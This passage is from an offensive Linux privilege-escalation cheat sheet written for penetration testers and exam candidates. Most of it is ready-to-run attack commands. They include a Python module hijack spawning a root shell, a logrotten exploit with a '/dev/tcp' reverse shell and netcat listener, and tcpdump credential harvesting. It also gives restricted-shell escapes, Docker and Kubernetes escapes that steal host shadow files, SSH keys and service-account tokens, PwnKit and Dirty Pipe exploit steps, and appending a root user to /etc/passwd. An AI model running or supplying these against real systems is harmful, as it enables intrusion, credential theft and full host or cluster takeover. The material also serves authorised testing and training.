import os
def virtual_memory():
os.system('/bin/bash -p')
EOF
sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/mem_status.pyWhy does primitive 2 work even when pip puts modules in a lower-priority path?
sys.path is checked in order, first-match-wins. /usr/lib/python3.8 comes before dist-packages in the default order, so a shadow psutil.py there wins against the real install. The assumption “pip installed it so it’s the canonical module” quietly fails when an earlier directory exists and is writable : often because a package was manually extracted there years ago and forgotten.
Logrotate : logrotten
Older logrotate versions (3.8.6, 3.11.0, 3.15.0, 3.18.0) race-condition when rotating files the attacker can control. If you can write to a log file that root rotates, logrotten wins the race and executes an arbitrary command as root.
# Prereqs: write access to a rotated log, logrotate running as root, vulnerable version
logrotate --version
# Pick which mode logrotate uses : options differ per config
grep -E 'create|compress' /etc/logrotate.conf /etc/logrotate.d/* | grep -v '^\s*#'
# Build the exploit on a kernel-matching host
git clone https://github.com/whotwagner/logrotten
cd logrotten && gcc logrotten.c -o logrotten
# Payload + listener
echo 'bash -i >& /dev/tcp/<IP>/9001 0>&1' > /tmp/payload
nc -lvnp 9001 # on attacker
# Trigger (create mode shown; use -c for compress-mode configs)
./logrotten -p /tmp/payload /tmp/app.logModern distros (Ubuntu 22.04+, Debian 12, RHEL 9) ship a patched logrotate (> 3.20.x). This vector is most useful on EOL-but-still-running boxes : exactly the kind of forgotten build server where you find it.
Tmux / Screen Session Hijacking
A privileged user who detached a tmux or screen session with loose socket permissions is a free root shell to anyone in the right group.
# Find running tmux sessions and their sockets
ps aux | grep -E 'tmux|screen' | grep -v grep
# root 4806 ... tmux -S /shareds new -s debugsess
# Check socket permissions
ls -la /shareds
# srw-rw---- 1 root devs 0 ... /shareds
# If your user is in the owning group (here: devs), attach
id | grep devs
tmux -S /shareds attach # now inside root's tmux sessionFor screen:
ls -la /var/run/screen/S-* # sockets per user
screen -r # list attachable sessions
screen -r <PID>.<NAME> # attach if permissions allowWhy does this work when the user who created the session was root?
Socket permission is set by the -S path and any subsequent chown/chmod. If root (intentionally or not) made the socket group-writable to devs, any devs member can attach to the live root PTY. Nothing enforces privilege drop on attach — tmux assumes any caller who has socket access is authorized.
Passive Traffic Capture
If tcpdump is installed and callable (either unprivileged with cap_net_raw+ep, or via sudo), packet capture can yield credentials in cleartext or hashes for offline cracking.
# Can we capture?
getcap /usr/sbin/tcpdump 2>/dev/null
sudo -l | grep tcpdump
# Broad capture, written to disk
sudo tcpdump -i any -w /tmp/cap.pcap -U not port 22
# Targeted: HTTP POST bodies
sudo tcpdump -i any -A -s 0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'Credential extraction
# net-creds
git clone https://github.com/DanMcInerney/net-creds
sudo python2 net-creds/net-creds.py -p /tmp/cap.pcap
# PCredz (credit cards, Net-NTLMv2, Kerberos AS-REQ, cleartext auth)
pip3 install Cython; pip3 install pcredz
PCredz -f /tmp/cap.pcapLook for Net-NTLMv2, Kerberos AS-REQ (roastable), SMTP/POP/IMAP credentials, HTTP basic auth, SNMP community strings, and JDBC connection strings.
Restricted Shell Escape
Restricted shells (rbash, rksh, rzsh) limit cd, PATH modification, output redirection, and command invocation. Real-world deployments almost always leave an escape path because the admin allowed one “useful” binary.
Quick escape recipes
# Map your options first
compgen -c # all commands the shell knows
echo $PATH
# 1) If any interpreter/editor is allowed
vi
:!/bin/bash
:set shell=/bin/bash
:shell
# 2) If find is allowed
find / -name nonexistent -exec /bin/bash \;
# 3) If awk is allowed
awk 'BEGIN{system("/bin/bash")}'
# 4) If less/more/man is allowed
less /etc/profile
# Then: !/bin/bash
# 5) Environment variable abuse
BASH_CMDS[a]=/bin/sh; a
export PATH=$PATH:/bin:/usr/bin
# 6) SSH escape (if connecting via SSH)
ssh <USER>@<HOST> -t "bash --noprofile --norc"
# 7) Command substitution
`/bin/bash`
$(/bin/bash)
# 8) Python/perl/ruby if present
python -c 'import os; os.system("/bin/bash")'
perl -e 'exec "/bin/bash";'What do you check first when dropped into a restricted shell?
compgen -c (list all commands the shell knows about) and echo $PATH. If compgen isn’t blocked, you have a complete map of your escape options immediately. If it is blocked, fall back to ls /usr/bin /bin /usr/local/bin and grep for known escape tools (vi, find, awk, less, python, perl). The fastest break comes from knowing which bash builtins are still enabled and which single-binary escape is available.
Vulnerable Services
you already know this ATP.
Container & Kubernetes Escape
Detect container context
# Am I in a container?
cat /proc/1/cgroup
ls -la /.dockerenv 2>/dev/null
mount | grep -E 'overlay|aufs'
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff (hex 0x3fffffffff) = all capabilities = --privilegedDocker socket mounted inside container
The fastest container escape: if /var/run/docker.sock is mounted inside the container, you can issue Docker commands to the host daemon:
ls -la /var/run/docker.sock # or /app/docker.sock, varies
# Transfer a static docker binary
curl -L https://master.dockerproject.com/linux/x86_64/docker -o /tmp/docker
chmod +x /tmp/docker
# List containers on the host
/tmp/docker -H unix:///var/run/docker.sock ps
# Launch a privileged container mounting host /
/tmp/docker -H unix:///var/run/docker.sock run -v /:/hostsystem --rm -d --privileged <image> sleep 3600
# Exec into it
/tmp/docker -H unix:///var/run/docker.sock exec -it <new_container_id> /bin/bash
cat /hostsystem/root/.ssh/id_rsaShared mount / bind-mount misconfig
# Inside container : look for host paths bound in
mount | grep -v 'overlay\|proc\|sysfs\|tmpfs\|devtmpfs'
ls /hostsystem /mnt /host 2>/dev/null
# If /hostsystem is the host's /, you already have full filesystem access
cat /hostsystem/etc/shadow
cat /hostsystem/root/.ssh/id_rsaPrivileged container
cat /proc/self/status | grep Cap
# CapEff: 0000003fffffffff = privileged (all caps)
# Mount the host root
mkdir /tmp/host
mount /dev/sda1 /tmp/host 2>/dev/null || fdisk -l # pick the right device
chroot /tmp/host /bin/bashKubernetes : kubelet API abuse
When you land in a K8s environment with anonymous access to the kubelet (10250/tcp), the blast radius is often the whole node or cluster.
# Quick kubelet probe
curl -sk https://<NODE_IP>:10250/pods | jq . # anonymous? lists all pods
curl -sk https://<NODE_IP>:10250/metrics | head # usually open
# Enumerate with kubeletctl
kubeletctl -i --server <NODE_IP> pods
kubeletctl -i --server <NODE_IP> scan rce # pods where exec is allowed
kubeletctl -i --server <NODE_IP> exec 'id' -p <pod> -c <container>
# Grab the service account token + CA cert
kubeletctl -i --server <NODE_IP> exec 'cat /var/run/secrets/kubernetes.io/serviceaccount/token' -p <pod> -c <container> | tee /tmp/k8.token
kubeletctl -i --server <NODE_IP> exec 'cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt' -p <pod> -c <container> | tee /tmp/ca.crtThen use kubectl against the cluster API (6443/tcp) with that token:
export TOKEN=$(cat /tmp/k8.token)
kubectl --token=$TOKEN --certificate-authority=/tmp/ca.crt \
--server=https://<API_IP>:6443 auth can-i --list
# If you can create pods, mount host / into a new pod
cat > /tmp/privesc.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: privesc
namespace: default
spec:
hostNetwork: true
containers:
- name: p
image: nginx:1.14.2
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
EOF
kubectl --token=$TOKEN --certificate-authority=/tmp/ca.crt \
--server=https://<API_IP>:6443 apply -f /tmp/privesc.yaml
kubectl --token=$TOKEN --certificate-authority=/tmp/ca.crt \
--server=https://<API_IP>:6443 exec -it privesc -- cat /host/root/.ssh/id_rsaKubernetes TCP ports worth noting
| Port | Service | Abuse |
|---|---|---|
| 2379, 2380 | etcd | Read all cluster secrets if auth is off |
| 6443 | kube-apiserver | Full cluster control with valid token |
| 10250 | kubelet | Node-local pod exec, often anonymous |
| 10255 | Read-only kubelet | Pod/resource enumeration, no auth |
| 10251 | kube-scheduler | Rarely exposed, metrics |
| 10252 | kube-controller-manager | Rarely exposed, metrics |
An anonymous curl https://<node>:10250/pods that returns JSON is one of the highest-severity findings in a cluster engagement. Report it immediately and prioritize token/secret enumeration : persistent cluster access (cluster-admin-equivalent via an over-privileged service account token) is usually one or two pods away.
Polkit : PwnKit (CVE-2021-4034)
pkexec is the polkit equivalent of sudo. Memory corruption in pkexec argument handling gives local root on nearly every Linux distro released between 2009 and January 2022. Any unprivileged user with shell access wins.
pkexec --version # < 0.120 = vulnerable on most distros
ls -l /usr/bin/pkexec # SUID root binary
git clone https://github.com/arthepsy/CVE-2021-4034
cd CVE-2021-4034 && gcc cve-2021-4034-poc.c -o poc
./pocDirty Pipe (CVE-2022-0847)
Linux kernel 5.8 to 5.16.10 contains a flaw in the pipe buffer implementation that lets any user overwrite arbitrary files they can read. Read access to /etc/passwd is universal, so this is usually a direct path to root.
uname -r # 5.8 <= kernel <= 5.16.10
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh
./exploit-1
# Password: piped
./exploit-2 /usr/bin/sudoNetfilter Kernel Exploits
Recent years have seen a steady stream of nf_tables / netfilter kernel vulnerabilities that yield local root. They are distribution-independent — they target the kernel, not userland.
| CVE | Kernel range | Notes |
|---|---|---|
| CVE-2021-22555 | 2.6 – 5.11 | Heap OOB write in x_tables, very reliable |
| CVE-2022-1015 | 5.12 – 5.17 | nf_tables stack OOB write |
| CVE-2022-25636 | 5.4 – 5.6.10 | nf_dup_netdev heap OOB write |
| CVE-2023-32233 | ≤ 6.3.1 | nf_tables UAF via anonymous sets |
| CVE-2024-1086 | 5.14 – 6.6 | nf_tables double-free UAF, very reliable |
Writable /etc/passwd and /etc/shadow
Writable /etc/passwd
ls -la /etc/passwd
# Generate a hash for the password you want
openssl passwd -6 -salt xyz 'Password123!'
# $6$xyz$...
# Append a root-equivalent user
echo 'pwn:$6$xyz$...:0:0:root-equivalent:/root:/bin/bash' >> /etc/passwd
su pwn
# Password: Password123! -> id: uid=0Writable /etc/shadow
ls -la /etc/shadow
mkpasswd -m sha-512 'Password123!'
# $6$...
# Replace root's hash field in /etc/shadow, then
su rootKernel Exploits (general)
Kernel exploits sit at the bottom of the priority stack the last resort when every userland vector has been exhausted. They can crash the box, are version-sensitive, and modern SOC tooling flags them loudly. A quick win is to run uname -a, then Google the kernel version, or let linux-exploit-suggester match.
# Version intel
uname -a
cat /proc/version
cat /etc/os-release
# Automated matching
./linux-exploit-suggester.shCommonly-seen kernel CVEs (post-2020)
| CVE | Kernel / product | Class |
|---|---|---|
| CVE-2016-5195 (Dirty COW) | < 4.8.3 | Copy-on-write race |
| CVE-2021-3493 | Ubuntu OverlayFS | Ubuntu-specific |
| CVE-2021-4034 (PwnKit) | polkit < 0.120 | pkexec env handling |
| CVE-2022-0847 (Dirty Pipe) | 5.8 – 5.16.10 | Pipe buffer flag confusion |
| CVE-2022-2588 (Dirty Cred) | various | Credential reuse |
| CVE-2023-2640 (GameOver(lay)) | Ubuntu 23.04 | OverlayFS capability retention |
| CVE-2023-32233 | ≤ 6.3.1 | nf_tables UAF |
| CVE-2024-1086 | 5.14 – 6.6 | nf_tables double-free UAF |
When handing in a report, record the PoC’s source URL, commit hash, and the compile command you used. Exam graders (and clients) do not like “I downloaded a thing and it worked” they want reproducibility.
Quiz
You're on an Ubuntu 20.04 host as a low-priv user. sudo -l asks for a password you don't have. getcap comes up empty. No writable cron scripts. No NFS exports. No docker/lxd group. pkexec is /usr/bin/pkexec (SUID, version 0.105). What do you try next?
Quick Reference Questions
Walk through this list every time you’re stuck. Most “unwinnable” boxes collapse on question 3 or 4.
User and permissions
- What user am I? What UID/GID? What groups? (
id) - Is my user in
docker,lxd,disk,adm,shadow, or a custom admin group? - What can I run with
sudo -l? Each entry — hit GTFOBins. - Is
env_keep+=LD_PRELOAD/env_keep+=LD_LIBRARY_PATHset? - Does
sudo -lallowSETENV:or run a path-relative binary? - Can I read another user’s home? SSH keys? history?
- Can I
suto another user with a harvested password?
System and kernel
- What distro + version? (
/etc/os-release) - What kernel? Is it in [Dirty Pipe / PwnKit / Netfilter / OverlayFS] range?
- x86_64 or something exotic (ARM, MIPS)? Affects payload choice.
- Is SELinux/AppArmor enforcing? (
sestatus,aa-status) - Are kernel-module loads restricted? (
cat /proc/sys/kernel/modules_disabled)
Services and processes
- What root-owned processes are running? Any custom binaries in
/opt? - Internal-only services? (
ss -tulnp | grep 127.0.0.1) — often weakly auth’d. - What cron jobs / systemd timers run? Any writable scripts or wildcards?
pspyoutput — any short-lived root processes I missed?
Files, creds, SUID
- SUID binaries? Each one — GTFOBins.
- Capabilities?
cap_setuidon an interpreter = instant root. - Is any
PATHdirectory writable before/usr/bin? - Is
/etc/passwdwritable?/etc/shadowreadable? writable? - Any shared-object load path writable? (
ldd+readelf -d) - Writable Python module in a script’s import path?
Network and pivot
- Multiple interfaces → different subnets? Pivot candidates.
arp -a→ other live hosts already reached by this one?- NFS exports?
no_root_squashanywhere? /etc/resolv.confand/etc/hosts— AD environment indicators?
Containers
- Am I in a container? (
/.dockerenv,/proc/1/cgroup) - Docker socket mounted inside? (
/var/run/docker.sock,/app/docker.sock) - Privileged?
CapEff: 0000003fffffffff - Host mounts inside the container?
mount | grep -v overlay - Kubernetes — kubelet API (
:10250) reachable and anonymous?
Automated Tools
| Tool | URL | Run | Catches |
|---|---|---|---|
| LinPEAS | https://github.com/peass-ng/PEASS-ng | bash linpeas.sh -a | Broadest general-purpose check |
| LinEnum | https://github.com/rebootuser/LinEnum | bash LinEnum.sh -t | Thorough text output, readable in exam |
| linux-exploit-suggester | https://github.com/mzet-/linux-exploit-suggester | bash les.sh | Kernel CVE matching |
| linux-smart-enumeration | https://github.com/diego-treitos/linux-smart-enumeration | bash lse.sh -l 2 | Prioritized output by likelihood |
| pspy | https://github.com/DominicBreuker/pspy | ./pspy64 -pf | Cron, short-lived root procs, relative-PATH calls |
| unix-privesc-check | https://pentestmonkey.net/tools/audit/unix-privesc-check | ./unix-privesc-check standard | File permission audit |
| GTFOBins | https://gtfobins.github.io/ | (web) | Binary-by-binary escape reference |
| kubeletctl | https://github.com/cyberark/kubeletctl | kubeletctl -i --server <ip> | Kubernetes kubelet API abuse |
| pwncat-cs | https://github.com/calebstewart/pwncat | Post-exp framework | Auto-enum + privesc database |
| cred-hunt | https://github.com/NeCr00/Credential-Hunting | Post-exp framework | atomated credential hunting |
Why still do manual enum after LinPEAS?
LinPEAS is fast and thorough, but three failure modes are common: it misses custom paths (anything under /opt that is project-specific), its regex patterns can trip on large files and skip content, and operators read it lazily under exam pressure. Manual enum catches what LinPEAS misses, and more importantly, it builds the mental map you need for the chain. A methodology run + LinPEAS takes ~15 minutes and finds things neither tool catches alone.